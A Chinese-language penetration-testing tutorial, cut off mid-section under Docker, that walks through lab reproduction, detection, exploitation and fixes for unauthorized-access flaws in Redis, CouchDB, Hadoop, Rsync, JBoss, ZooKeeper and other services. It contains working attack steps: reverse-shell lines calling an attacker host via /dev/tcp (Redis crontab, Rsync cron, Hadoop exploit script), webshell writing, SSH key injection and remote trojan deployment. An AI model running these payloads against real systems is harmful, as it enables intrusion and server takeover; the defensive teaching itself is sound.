從零開始學習各種常見未授權訪問漏洞

vege發表於2020-12-09

前言

未授權訪問是系統對使用者限制不全,或者無限制,可以讓任意使用者或者限制訪問使用者,訪問到需要許可權認證的地址。未授權訪問通常是會洩露使用者資訊,系統資訊。某些服務和系統中,未授權訪問還可以執行系統命令,作業系統檔案,導致系統的整體安全遭到破壞。

本片文章首發於freebuf(https://www.freebuf.com/vuls/254160.html)

MongoDB未授權訪問漏洞

漏洞簡介

MongoDB是一個基於分散式檔案儲存的資料庫,由C++語言編寫,旨在為WEB應用提供可擴充套件的高效能資料儲存解決方案。MongoDB預設埠為27017。

開啟MongoDB服務時不新增任何引數時,預設是沒有許可權驗證的,登入的使用者可以通過預設埠無需密碼對資料庫任意操作(增、刪、改、查高危動作)而且可以遠端訪問資料庫。

造成未授權訪問的根本原因就在於啟動 Mongodb 的時候未設定 --auth 也很少會有人會給資料庫新增上賬號密碼(預設空口令),使用預設空口令這將導致惡意攻擊者無需進行賬號認證就可以登陸到資料伺服器。

更多MongoDB的介紹請移步:https://www.runoob.com/mongodb/mongodb-tutorial.html

漏洞復現

環境搭建

這裡使用docker。Docker教程:https://www.runoob.com/docker/docker-tutorial.html

docker search mongodb  # 從Docker Hub查詢映象

1604631086_5fa4ba2e356394a978e38.png!small?1604631085711

docker pull mongo  #從映象倉庫中拉取或者更新指定映象

1604631091_5fa4ba33b6d8a3922810e.png!small?1604631091329

docker images mongo #列出本地主機上的mongo映象

1604631095_5fa4ba37cda58a3110284.png!small?1604631095266

docker run -d -p 27017:27017 --name mongodb mongo  # 建立一個新的容器並執行一個命令

1604631099_5fa4ba3bada2580efa0b1.png!small?1604631099243

docker ps  # 顯示正在執行的容器

1604631103_5fa4ba3f70e35c60c3c77.png!small?1604631102864

漏洞檢測

Python檢測指令碼:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

def mongodb(ip,port):

try:

client = MongoClient(ip,port)

db=client.local

flag = db.collection_names()

if flag:

print "[+] Mongodb login for anonymous"

except Exception, e:

pass

nmap檢測:

nmap -p 27017 --script mongodb-info <target>

1604631184_5fa4ba9006764b52da633.png!small?1604631183853

漏洞利用

這裡使用 NoSQLBooster

下載地址:https://s3.mongobooster.com/download/releasesv5/nosqlbooster4mongo-5.1.12.exe

1604631190_5fa4ba96e73c76740f2b4.png!small?16046311903641604631194_5fa4ba9ab3494e629702f.png!small?1604631194310

修復方法

(1) 為 MongoDB 新增認證

① MongoDB 啟動時新增 -auth 引數。

② 給 MongoDB 新增使用者

use admin # 使用 admin 庫
db.addUser“使用者名稱” “密碼”# 新增使用者名稱、密碼
db.auth“使用者名稱”,“密碼”# 驗證是否新增成功返回 1 說明成功。

(2) 禁用 HTTP 和 REST 埠

MongoDB 自身帶有一個 HTTP 服務並支援 REST 介面。在 2.6 版本以後這些介面預設關閉。MongoDB 預設會使用預設埠監聽 Web 服務一般不需要通過 Web 方式進行遠端管理建議禁用。修改配置檔案或在啟動時選擇 -nohttpinterface 引數 nohttpinterface = false。

(3) 限制繫結 IP

啟動時加入引數

--bind_ip 127.0.0.1

或在 /etc/mongodb.conf 檔案中新增以下內容

bind_ip = 127.0.0.1

CouchDB未授權訪問漏洞

漏洞簡介

CouchDB是由Apache軟體基金會開發的一個開源資料庫。重點是易於使用,擁抱網路。它是一個NoSQL文件儲存資料庫。它使用JSON,儲存資料(文件),使用java指令碼作為其查詢語言來轉換文件,使用http協議為api訪問文件,使用Web瀏覽器查詢索引。

CouchDB預設在5984埠開放Restful的API介面,用於資料庫的管理功能。其HTTP Server預設開啟時沒有進行驗證,而且繫結在0.0.0.0,所有使用者均可通過API訪問導致未授權訪問。任何連線到伺服器埠上的人,都可以呼叫相關API對伺服器上的資料進行任意的增刪改查,其中通過API修改local.ini配置檔案,可進一步導致執行任意系統命令,獲取伺服器許可權!

更多CouchDB的介紹請移步:https://www.w3cschool.cn/couchdb/

漏洞復現

環境搭建

這裡使用vulhub中的專案來搭建復現環境

Vulhub漏洞環境搭建教程參考:

https://www.fujieace.com/penetration-test/vulhub.html

1604631233_5fa4bac1298b04e6df499.png!small?1604631232678

漏洞檢測

nmap -p 5984 --script couchdb-stats.nse <target>

1604631239_5fa4bac71b9a6ff90cc89.png!small?16046312392361604631243_5fa4bacb26545a180bd5a.png!small?16046312426681604631245_5fa4bacd5b0a394f3b4c4.png!small?1604631244851

漏洞利用

任意命令執行:

1、新增query_server配置,寫入要執行的命令;

curl -X PUT 'http://192.168.168.131:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'

2、新建一個臨時庫和臨時表,插入一條記錄;

curl -X PUT 'http://192.168.168.131:5984/vultest'
curl -X PUT 'http://192.168.168.131:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

3、呼叫query_server處理資料

curl -X POST 'http://192.168.168.131:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

1604631257_5fa4bad9bff58086767c3.png!small?1604631257490

修復方法

1、指定CouchDB繫結的IP (需要重啟CouchDB才能生效) 在 /etc/couchdb/local.ini 檔案中找到 “bind_address = 0.0.0.0” ,把0.0.0 修改為 127.0.0.1 ,然後儲存。

2、設定訪問密碼 (需要重啟CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到“[admins]”欄位配置密碼。

Memcached未授權訪問漏洞

漏洞簡介

Memcached是一個自由開源的,高效能,分散式記憶體物件快取系統。Memcached是一種基於記憶體的key-value儲存,用來儲存小塊的任意資料(字串、物件)。這些資料可以是資料庫呼叫、API呼叫或者是頁面渲染的結果。

Memcached簡潔而強大。它的簡潔設計便於快速開發,減輕開發難度,解決了大資料量快取的很多問題。它的API相容大部分流行的開發語言。一般的使用目的是,通過快取資料庫查詢結果,減少資料庫訪問次數,以提高動態Web應用的速度、提高可擴充套件性。

由於 Memcached 的安全設計缺陷,客戶端連線 Memcached 伺服器後無需認證就可讀取、修改伺服器快取內容。預設監聽埠11211

更多Memcached的介紹請移步:https://www.runoob.com/Memcached/Memcached-tutorial.html

漏洞復現

環境搭建

64位系統 1.4.4版本:http://static.runoob.com/download/memcached-win64-1.4.4-14.zip

解壓之後,用管理員許可權開啟命令列,執行:

memcached.exe -d install    安裝

memcached.exe -d start     啟動

1604631292_5fa4bafc8f0861249cf95.png!small?1604631291957

檢視程式服務以及埠

netstat -ano | findstr 11211

tasklist | findstr Memcached

1604631295_5fa4baffc50a6e915d82e.png!small?1604631295299

漏洞檢測

Python檢測指令碼:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
def Memcache_check(ip, port=11211, timeout=5):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("stats\r\n")
        result = s.recv(1024)
        if "STAT version" in result:
            print '[+] Memcache Unauthorized: ' +ip+':'+str(port)
    except Exception, e:
        pass

Nmap檢測:

nmap -p 11211 --script memcached-info <target>

1604631330_5fa4bb226da78f17bb7c9.png!small?1604631330107

漏洞利用

telnet <target_ip> 11211 或 nc -vv <target_ip> 11211

無需使用者名稱密碼,可以直接連線memcache 服務的11211埠

1604631334_5fa4bb266e7a477230efc.png!small?1604631333824

stats #檢視memcache服務狀態

1604631338_5fa4bb2a7713e7dd526eb.png!small?1604631337930

stats items  //檢視所有items

stats cachedump 32 0  //獲得快取key

漏洞攻擊DEMO: http://blog.nsfocus.net/memcache-unauthorized-access-exploit/

修復方法

1、配置memcached監聽本地迴環地址127.0.0.1。

[root@local ~]# vim /etc/sysconfig/memcached
OPTIONS="-l 127.0.0.1"  #設定本地為監聽
[root@local ~]# /etc/init.d/memcached restart #重啟服務

2、當memcached配置為監聽內網IP或公網IP時,使用主機防火牆(iptalbes、firewalld等)和網路防火牆對memcached服務埠進行過濾。

Redis未授權訪問漏洞

漏洞簡介

Redis是一個開源的使用ANSI C語言編寫、遵守BSD協議、支援網路、可基於記憶體亦可持久化的日誌型、Key-Value資料庫,並提供多種語言的API。它通常被稱為資料結構伺服器,因為值(value)可以是 字串(String), 雜湊(Hash), 列表(list), sets 和 sorted sets等型別。

Redis 的出現很大程度上彌補了 memcached 這類 Key/Value 儲存的不足在部分場合可以對關聯式資料庫起到很好的補充作用。Redis 預設情況下會繫結在 0.0.0.0:6379這樣會將 Redis 服務暴露到公網上。在沒有開啟認證的情況下會導致任意使用者在可以訪問目標伺服器的情況下未經授權就訪問到 Redis 以及讀取 Redis 的資料。

等多Redis的介紹請移步:https://www.runoob.com/redis/redis-tutorial.html

漏洞復現

環境搭建

Linux原始碼安裝

wget http://download.redis.io/releases/redis-6.0.8.tar.gz#下載

1604631433_5fa4bb89c513b953bf05b.png!small?1604631433234

tar -zxvf redis-6.0.8.tar.gz       #解壓

1604631437_5fa4bb8d258c3c90161cf.png!small?1604631436724

cd redis-6.0.8   # 進入redis目錄

make          #編譯

1604631440_5fa4bb90bb4882d332a02.png!small?1604631440327

執行完 make 命令後,redis-6.0.8 的 src 目錄下會出現編譯後的 redis 服務程式 redis-server,還有用於測試的客戶端程式 redis-cli

1604631444_5fa4bb94c26ecba91f182.png!small?1604631444273

下面啟動 redis 服務:

# cd src
# ./redis-server

注意這種方式啟動 redis 使用的是預設配置。也可以通過啟動引數告訴 redis 使用指定配置檔案使用下面命令啟動。

# cd src
# ./redis-server ../redis.conf

redis.conf 是一個預設的配置檔案。我們可以根據需要使用自己的配置檔案。

當然現在我們需要每次都進入安裝目錄才能啟動redis服務。現在再做如下配置:

cp redis-server /usr/bin/
cp redis-cli /usr/bin/      #將redis-server和redis-cli拷貝到/usr/bin目錄下(這樣啟動redis-server和redis-cli就不用每次都進入安裝目錄了)
cd ..
cp redis.conf /etc/     #將redis.conf拷貝到/etc/目錄下
redis-server /etc/redis.conf  # 使用/etc/目錄下的redis.conf檔案中的配置啟動redis服務

1604631495_5fa4bbc7413c6982a434e.png!small?1604631494772

Ubuntu apt 命令安裝

在 Ubuntu 系統安裝 Redis 可以使用以下命令:

# sudo apt update

# sudo apt install redis-server

1604631500_5fa4bbcce580d0d704b51.png!small?1604631500434

啟動 Redis

# redis-server

1604631504_5fa4bbd0521051bce85fd.png!small?1604631503752

檢視 redis 是否啟動?

# redis-cli

以上命令將開啟以下終端:

redis 127.0.0.1:6379>

127.0.0.1 是本機 IP ,6379 是 redis 服務埠。現在我們輸入 PING 命令。

1604631508_5fa4bbd447c1b93f337d0.png!small?1604631508170

以上說明我們已經成功安裝了redis。

安裝完成redis之後,修改配置檔案redis.conf:

bind 127.0.0.1前面加上#號註釋掉
protected-mode設為no

漏洞檢測

Nmap檢測:

nmap -p 6379 --script redis-info <target>

1604631524_5fa4bbe44255906d8d0eb.png!small?16046315239371604631526_5fa4bbe6bfe0b70d6c661.png!small?1604631526281

漏洞利用

Redis未授權訪問漏洞有多種利用方法,具體請看:https://www.freebuf.com/articles/network/158065.html

這裡僅復現其中的一部分。

0x01 絕對路徑寫入webshell

通過redis在指定的web目錄下寫入一句話木馬,用菜刀連線可達到控制伺服器的目的。

利用條件:

1、目標存在web目錄

2、已知web絕對路徑

3、存在寫入許可權

適用範圍:windows,linux版本。

利用過程:

利用redis寫入一個webshell到目標web目錄下:

config set dir "/var/www/html"
config set dbfilename phpinfo.php
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save

1604631551_5fa4bbffe4f4b0a64bb80.png!small?1604631551346

\r\n\r\n代表換行的意思,用redis入的檔案會自帶一些版本資訊,如果不換行可能會導致無法執行。

1604631555_5fa4bc0397b7628ddb2c1.png!small?1604631555114

寫入成功

1604631558_5fa4bc0687ee4ba2c8f5b.png!small?1604631558006

(將寫入內容換成php一句話即可getshell)

0x02  在crontab裡寫定時任務,反彈shell

利用條件:

許可權可寫計劃任務

使用範圍:centos

只能在centos下反彈,這是由於redis向任務計劃檔案裡寫內容出現亂碼而導致的語法錯誤,而亂碼是避免不了的,centos會忽略亂碼去執行格式正確的任務計劃,而ubuntu並不會忽略這些亂碼,所以導致命令執行失敗

利用過程:

在許可權足夠的情況下,利用redis寫入檔案到計劃任務目錄下執行。

首先監聽埠。

nc -lvvp 8769

利用redis生成計劃任務配置檔案。

config set dir /var/spool/cron
set x "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/8769 0>&1\n\n"
config set dbfilename root
save

每一分鐘執行一次,只有目標主機是centos才可以成功接收到反彈的shell。

0x03 寫入ssh公鑰,獲取root許可權

使用範圍:開啟了金鑰認證的linux主機

利用條件:

1、root許可權

2、開啟了ssh金鑰登入,存在/etc/.ssh檔案

利用過程:

當redis以root身份執行,可以給root賬戶寫入SSH公鑰檔案,直接通過SSH登入目標伺服器。

1、首先在靶機上開啟ssh金鑰登入。

修改/etc/ssh/sshd_config配置檔案:

RSAAuthentication設定為yes,意思是設定開啟使用RSA演算法的基於rhosts的安全驗證;
PubkeyAuthentication設定為yes,意思是設定開啟公鑰驗證;
AuthorizedKeyFiles後面的目錄,是你上傳的公鑰所儲存的檔案。

1604631602_5fa4bc32bf920f9dcd256.png!small?1604631602354

然後重啟服務

systemctl restart sshd.service

2、生成金鑰

在攻擊機中使用自帶的命令生成一對金鑰。

ssh-keygen -t rsa

1604631608_5fa4bc38b8a03d380eba7.png!small

3、將公鑰內容匯入key.txt檔案

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

1604631614_5fa4bc3e4088901066910.png!small?1604631613807

4、將生成的公鑰內容設定給redis裡的變數

cat /root/key.txt | redis-cli -h 192.168.168.133 -x set xxx

1604631618_5fa4bc425aa436fce3249.png!small?1604631617777

5、在 /root/.ssh 目錄下生成authorized_keys檔案。

redis-cli -h 192.168.168.133

config set dir /root/.ssh

config set dbfilename authorized_keys

1604631622_5fa4bc4637d009010a2e2.png!small?1604631621677

成功寫入authorized_keys檔案。

1604631625_5fa4bc494e77178dd18cd.png!small?1604631624722

6、使用本地的私鑰連線ssh

ssh 192.168.168.133

1604631628_5fa4bc4cd46f687effcb7.png!small?1604631628567

連線成功。

0x04 主從複製RCE

在Reids 4.x之後,Redis新增了模組功能,通過外部擴充,可以實現在Redis中實現一個新的Redis命令,通過寫C語言編譯並載入惡意的.so檔案,達到程式碼執行的目的。

通過指令碼實現一鍵自動化getshell:

1、生成惡意.so檔案,下載RedisModules-ExecuteCommand使用make編譯即可生成。

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make

1604631646_5fa4bc5ec196f3caca10c.png!small?1604631646295

2、攻擊端執行: python redis-rce.py -r 目標ip-p 目標埠 -L 本地ip -f 惡意.so

git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp .. /module.so ./
pip install -r requirements.txt
python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so

-r引數是指目標redis IP地址

-L引數是指本機的ip地址

執行命令後,本機21000埠生成一個redis服務,然後目標redis指定本機為主伺服器,同步執行so檔案。

執行成功後可以選擇生成一個互動的shell,或者重新反彈一個shell。

1604631664_5fa4bc7022219fc48b491.png!small?1604631663689

修復方法

(1)對redis訪問啟動密碼認證。

(2)配置 bind 選項限定可以連線 Reids 伺服器的 IP並修改預設埠 6379。

ElasticSearch未授權訪問漏洞

漏洞簡介

Elasticsearch是一個基於Lucene的搜尋伺服器。它提供了一個分散式多使用者能力的全文搜尋引擎,基於RESTful web介面。Elasticsearch是用Java語言開發的,並作為Apache許可條款下的開放原始碼釋出,是一種流行的企業級搜尋引擎。

Elasticsearch服務普遍存在一個未授權訪問的問題,攻擊者通常可以請求一個開放9200或9300埠的伺服器進行惡意攻擊。

更多ElasticSearch的介紹請移步:https://www.bootwiki.com/elasticsearch/elasticsearch-tutorial.html

漏洞復現

環境搭建

下載安裝包:https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.5.0.zip

解壓,進入bin 目錄,雙擊執行 elasticsearch.bat

1604631673_5fa4bc7912ba7353211fd.png!small?1604631672919

訪問http://localhost:9200/,出現以下頁面,說明安裝成功。

1604631677_5fa4bc7d01d6c1c73ccba.png!small?1604631676436

漏洞檢測

Python檢測指令碼:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import requests
def Elasticsearch_check(ip, port=9200, timeout=5):
    try:
      url = "http://"+ip+":"+str(port)+"/_cat"
      response = requests.get(url) 
    except:
      pass
    if "/_cat/master" in response.content:
      print '[+] Elasticsearch Unauthorized: ' +ip+':'+str(port)

漏洞利用

http://localhost:9200/_cat/indices

http://localhost:9200/_river/_search //檢視資料庫敏感資訊

http://localhost:9200/_nodes         //檢視節點資料

如有安裝head外掛:

http://localhost:9200/_plugin/head/  //web管理介面

1604631700_5fa4bc94e5100ccff1004.png!small?16046317005121604631703_5fa4bc97efcb3d14709b5.png!small?1604631703505

修復方法

1、限制IP訪問,繫結固定IP

2、在config/elasticsearch.yml中為9200埠設定認證:

http.basic.enabled true #開關,開啟會接管全部HTTP連線
http.basic.user "admin" #賬號
http.basic.password "admin_pw" #密碼
http.basic.ipwhitelist ["localhost", "127.0.0.1"]

Kibana未授權訪問漏洞

漏洞簡介

Kibana是一個開源的資料分析和視覺化平臺,旨在與Elasticsearch協同工作,幫助分析師通過圖形的方式來理解複雜的資料流動。

Kibana擁有一個基於瀏覽器的管理介面,可實時從Elasticsearch中獲取資料,然後執行高階資料分析,最後將結果以圖表,表格和地圖的形式呈現出來。

在預設設定下,Kibana會開放在埠5601上。

Kibana本身沒有任何安全性設定,在預設配置下,Kibana就可以訪問Elasticsearch中的所有資料。

漏洞復現

直接訪問kibana的頁面,如:

https://192.168.168.131:5601/

http://192.168.168.131:5601/app/kibana#/

並且無需賬號密碼可以登入進入介面。

1604631730_5fa4bcb2e6710d0517515.png!small?1604631730353

修復方法

1、設定防火牆策略,僅允許指定的 IP 來訪問服務。

2、通過nginx設定反向代理,設定密碼登入驗證。

Step1、設定kibana監聽本地地址,並設定ElasticSearch登入的賬號和密碼:

elasticsearch.url: "http://127.0.0.1:9200"
#這裡輸入ElasticSearch的賬號和密碼
elasticsearch.username: "user"
elasticsearch.password: "pass"

Step2:使用htpasswd建立kibana登入的賬號密碼,這裡可以複用ElasticSearch建立的賬號密碼,也可以重新建立一個。

htpasswd -c /usr/local/service/nginx/conf/htpasswd username

Step3:配置nginx反向代理,配置好後,重啟nginx和kibana,通過15601登入驗證訪問Kibana

server {
    # 通過反向代理對kibana身份認證
    listen 15601;
    server_name localhost;
    location / { 
        auth_basic "xscan";
        auth_basic_user_file /usr/local/service/nginx/conf/htpasswd;
        
        proxy_pass http://127.0.0.1:5601;
         }
     }

JBoss未授權訪問漏洞

漏洞簡介

jBoss是一個基於J2EE的開發原始碼的應用伺服器。 JBoss程式碼遵循LGPL許可,可以在任何商業應用中免費使用。JBoss是一個管理EJB的容器和伺服器,支援EJB1.1、EJB 2.0和EJB3的規範。但JBoss核心服務不包括支援servlet/JSP的WEB容器,一般與Tomcat或Jetty繫結使用。

預設埠:8080,9990

預設情況下訪問 http://ip:8080/jmx-console 就可以瀏覽 jboss 的部署管理的資訊,不需要輸入使用者名稱和密碼,可以直接部署上傳木馬有安全隱患。

漏洞復現

環境搭建

這裡使用vulhub中CVE-2017-7504的漏洞環境。

Vulhub的漏洞環境搭建教程參考:https://www.fujieace.com/penetration-test/vulhub.html

1604631791_5fa4bcefc8172c4bb329f.png!small?1604631791282

1604631795_5fa4bcf3183080d24d4e6.png!small?1604631794566

漏洞檢測

先用 nmap 掃描檢視埠開放情況看是否開放 JBOSS 埠。再使用漏洞測試工具測試 jmx 元件存在情況通過訪問 http://ip:jboss埠/ 看是否能進入 jmx-console 和 web-console 。

檢測工具:jexboss(https://github.com/joaomatosf/jexboss)一個使用Python編寫的Jboss漏洞檢測利用工具,通過它可以檢測並利用web-console,jmx-console,JMXInvokerServlet這三個漏洞,並且可以獲得一個shell。

漏洞利用

點選進入控制頁

1604631800_5fa4bcf8e0f95774e8bf5.png!small?1604631800354

點選jboss.deployment進入應用部署頁面

1604631804_5fa4bcfc9defdf396b468.png!small?1604631804116

將jsp馬打包成war包         jar -cvf shell.war api_all_jdk.jsp

1604631808_5fa4bd004054f0b4bfc03.png!small?1604631807812

將war包放到web伺服器上

1604631812_5fa4bd047f160ac0eff47.png!small?1604631811972

通過addurl引數進行木馬的遠端部署

http://192.168.168.128/shell.war

1604631816_5fa4bd0825b4d828d4a3a.png!small?1604631815571

成功上傳木馬

1604631819_5fa4bd0b9cb3d4d90a265.png!small?1604631819089

訪問http://IP:8080/war包名/包名內檔名即可成功連線。

修復方法

  • 對jmx控制頁面訪問新增訪問驗證
  • 刪除JMX Console,後重啟JBoss

VNC未授權訪問漏洞

漏洞簡介

VNC 是虛擬網路控制檯Virtual Network Console的英文縮寫。它是一款優秀的遠端控制工具軟體由美國電話電報公司AT&T的歐洲研究實驗室開發。VNC是基於 UNXI 和 Linux 的免費開源軟體由 VNC Server 和 VNC Viewer 兩部分組成。VNC 預設埠號為 5900、5901。VNC 未授權訪問漏洞如被利用可能造成惡意使用者直接控制受控主機危害相當嚴重。

漏洞復現

環境搭建

下載https://archive.realvnc.com/download/

漏洞檢測

Metasploit的use auxiliary/scanner/vnc/vnc_none_auth模組

漏洞利用

Kali執行 vncviewer <target_ip>

修復方法

(1) 配置 VNC 客戶端登入口令認證並配置符合密碼強度要求的密碼。

(2) 以最小許可權的普通使用者身份執行作業系統。

Rsync 未授權訪問漏洞

漏洞簡介

Rsync(remote synchronize)是一個遠端資料同步工具,可通過 LAN/WAN 快速同步多臺主機間的檔案,也可以同步本地硬碟中的不同目錄。Rsync 預設允許匿名訪問,如果在配置檔案中沒有相關的使用者認證以及檔案授權,就會觸發隱患。Rsync 的預設埠為 837。

更多Rsync的介紹請移步:https://www.linuxprobe.com/use-rsync-file.html

漏洞復現

環境搭建

這裡使用vulhub中的專案來搭建復現環境

Vulhub漏洞環境搭建教程參考:

https://www.fujieace.com/penetration-test/vulhub.html

1604631839_5fa4bd1f8ef8e092b1225.png!small?1604631839374

1604631842_5fa4bd22622dedadf0096.png!small?1604631842217

漏洞檢測

nmap檢測:

nmap -p 873 --script rsync-list-modules <target>

1604631846_5fa4bd260d680d20ec32b.png!small?1604631845506

Metasploit的auxiliary/scanner/rsync/modules_list模組

1604631850_5fa4bd2a83b8b2182d12c.png!small?1604631850001

漏洞利用

列出目標伺服器的同步目錄
rsync 192.168.168.131::
rsync rsync://192.168.168.131:873

1604631854_5fa4bd2ec69513259ee69.png!small?1604631854322

檢視模組檔案

獲取到目錄之後,只需在路徑後新增目錄名即可檢視目錄中的檔案

rsync rsync://192.168.168.131:873/src

1604631859_5fa4bd3349db38eb84edb.png!small?1604631858934

可以看到成功列出src目錄

任意檔案下載
rsync rsync://192.168.168.131/src/etc/passwd ./pass.txt

1604631863_5fa4bd37e63aa9b54f665.png!small?1604631863554

任意檔案上傳
rsync 1.txt rsync://192.168.168.131/src/home/

1604631867_5fa4bd3b5f48fb9abe1a8.png!small?1604631866851

通過任意檔案上傳,可以直接寫WebShell(如果目標有Web服務的話),或者可以通過寫ssh公鑰實現獲取許可權,或者通過寫cron定時任務反彈shell。

通過寫cron任務反彈shell

1、下載cron定時任務配置檔案並且檢視任務內容

1604631909_5fa4bd65804a5cd916e5d.png!small?1604631909784

//17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly

//表示17分鐘會啟動/etc/cron.hourly目錄下檔案的任務

2、構造shell

#!/bin/bash

/bin/bash -i >& /dev/tcp/192.168.168.133/8796 0>&1

1604631918_5fa4bd6e396e16bb5c1dc.png!small?1604631917655

賦予執行許可權

chmod +x shell

3、把shell上傳至/etc/cron.hourly目錄下

寫入cron.hourly下檔案的任務就會啟動

rsync -av shell rsync://127.0.0.1/src/etc/cron.hourly

1604631926_5fa4bd7607f7c147e203c.png!small?1604631925585

4、本地監聽8796埠,等待計劃任務執行後反彈shell成功

nc -lvvp 8796

1604631929_5fa4bd79d02a1fa865340.png!small?1604631929353

修復方法

更改rysnc預設配置檔案/etc/rsyncd.conf,新增或修改引數:

訪問控制;設定host allow,限制允許訪問主機的IP。

許可權控制;設定read only,將模組設定成只讀。

訪問認證;設定auth、secrets,認證成功才能呼叫服務。

模組隱藏;設定list,將模組隱藏。

Hadoop未授權訪問漏洞

漏洞簡介

Hadoop是一個由Apache基金會所開發的分散式系統基礎架構,由於伺服器直接在開放了 Hadoop 機器 HDFS 的 50070 web 埠及部分預設服務埠,黑客可以通過命令列操作多個目錄下的資料,如進行刪除,下載,目錄瀏覽甚至命令執行等操作。

更多Hadoop的介紹請移步:http://hadoop.apache.org/docs/r3.1.2/

漏洞復現

環境搭建

這裡使用vulhub中的專案來搭建復現環境

Vulhub漏洞環境搭建教程參考:

https://www.fujieace.com/penetration-test/vulhub.html

1604631998_5fa4bdbe318e26b63a0be.png!small?1604631997808

漏洞檢測

直接訪問http://192.168.168.131:8088/cluster

1604632001_5fa4bdc18cde0b97f2afd.png!small?1604632001084

漏洞利用

利用過程如下:

1、在本地監聽等待反彈 shell 連線

2、呼叫 New Application API 建立 Application

3、呼叫 Submit Application API 提交

POC:  exploit.py

#!/usr/bin/env python
 
import requests
 
target = 'http://127.0.0.1:8088/'
lhost = '192.168.220.137' # put your local host ip here, and listen at port 9999
 
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

(1)修改py中target、lhost的IP

1604632041_5fa4bde95aeca4187cb0b.png!small?1604632041063

(2)開啟監聽nc -lvvp 9999

(3)python exploit.py

1604632044_5fa4bdec76600432d4b5b.png!small?1604632044067

修復方法

(1)如無必要,關閉Hadoop Web管理頁面

(2)開啟身份驗證 ,防止未經授權使用者訪問。

(3)設定“安全組”訪問控制策略,將 Hadoop 預設開放的多個埠對公網全部禁止或限制可信任的 IP 地址才能訪包括 50070 以及 WebUI 等相關埠。

Zookeeper未授權訪問漏洞

漏洞簡介

Zookeeper是分散式協同管理工具,常用來管理系統配置資訊,提供分散式協同服務,是 Hadoop 和 Hbase 的重要元件。它是一個為分散式應用提供一致性服務的軟體,提供的功能包括配置維護、域名服務、分散式同步、組服務等。

ZooKeeper 預設開啟在2181埠,在未進行任何訪問控制的情況下,攻擊者可通過執行 envi 命令獲得系統大量的敏感資訊,包括系統名稱、Java 環境,這將導致任意使用者在網路可達的情況下進行未授權訪問並讀取資料甚至 kill 服務。

漏洞復現

環境搭建

wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.5.8/apache-zookeeper-3.5.8.tar.gz
tar -zxvf apache-zookeeper-3.5.8.tar.gz
cd apache-zookeeper-3.5.8/conf/
mv zoo_sample.cfg zoo.cfg
../bin/zkServer.sh start # 啟動

1604632055_5fa4bdf77b611b5d687d7.png!small?1604632054981

漏洞檢測

(1) 通過 nmap 掃描開放了 2181 埠的主機。

(2) 執行指令碼通過 socket 連線 2181 埠併傳送 envi 命令若服務端返回的資料中包含 ZooKeeper 的服務執行環境資訊即可證明存在未授權訪問。

Python檢測指令碼:

# coding=utf-8
import socket
import sys
 
def check(ip, port, timeout, cmd):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send(cmd)
        data = s.recv(1024)
        s.close()
        print data
    except:
        pass

def main():
    if len(sys.argv) < 3:
        exit()
    ip = sys.argv[1]
    cmd = sys.argv[2]
    # envi
    # dump
    # reqs
    # ruok
    # stat
    check(ip, 2181, 3, cmd)
 
if __name__ == '__main__':
main()

漏洞利用

1、stat:列出關於效能和連線的客戶端的統計資訊。

echo stat |ncat 127.0.0.1 2181

2、conf:輸出相關服務配置的詳細資訊,埠、資料路徑、日誌路徑、session 超時時間,最大連線數等。

echo conf |ncat 127.0.0.1 2181

3、cons:列出所有連線到當前伺服器的客戶端/會話的詳細資訊。

echo cons |ncat 127.0.0.1 2181

4、envi:列印有關服務環境的詳細資訊。

echo envi |ncat 127.0.0.1 2181

5、dump:列出未完成的會話和臨時節點。

echo dump |ncat 127.0.0.1 2181

修復方法

1、修改 ZooKeeper 預設埠,採用其他埠服務。

2、新增訪問控制,配置服務來源地址限制策略。

3、增加 ZooKeeper 的認證配置。

Docker未授權訪問漏洞

漏洞簡介

Docker 是一個開源的應用容器引擎,基於 Go 語言 並遵從 Apache2.0 協議開源。Docker 可以讓開發者打包他們的應用以及依賴包到一個輕量級、可移植的容器中,然後釋出到任何流行的 Linux 機器上,也可以實現虛擬化。容器是完全使用沙箱機制,相互之間不會有任何介面(類似 iPhone 的 app),更重要的是容器效能開銷極低。

存在問題的版本分別為 1.3 和 1.6因為許可權控制等問題導致可以脫離容器拿到宿主機許可權。

更多docker的介紹請移步:https://www.runoob.com/docker/docker-tutorial.html

漏洞復現

環境搭建

這裡使用vulhub中的專案來搭建復現環境

Vulhub漏洞環境搭建教程參考:

https://www.fujieace.com/penetration-test/vulhub.html

1604632151_5fa4be57052056abd915a.png!small?1604632150498

漏洞檢測

先用 nmap 掃描檢視埠開放情況。2375 為 docker 埠

1604632154_5fa4be5ab035a23d06283.png!small?1604632154230

通過命令連線:

docker -H tcp://192.168.168.131:2375 version

1604632159_5fa4be5fb8d7d7aa11206.png!small?1604632159218

或者url訪問:http://192.168.168.131:2375/version

1604632164_5fa4be6474b2be1cc5d08.png!small?1604632163969

可以看到docker版本等基本資訊,說明漏洞存在。

漏洞利用

列出所有映象

docker -H tcp://192.168.168.131:2375 images

列出所有容器

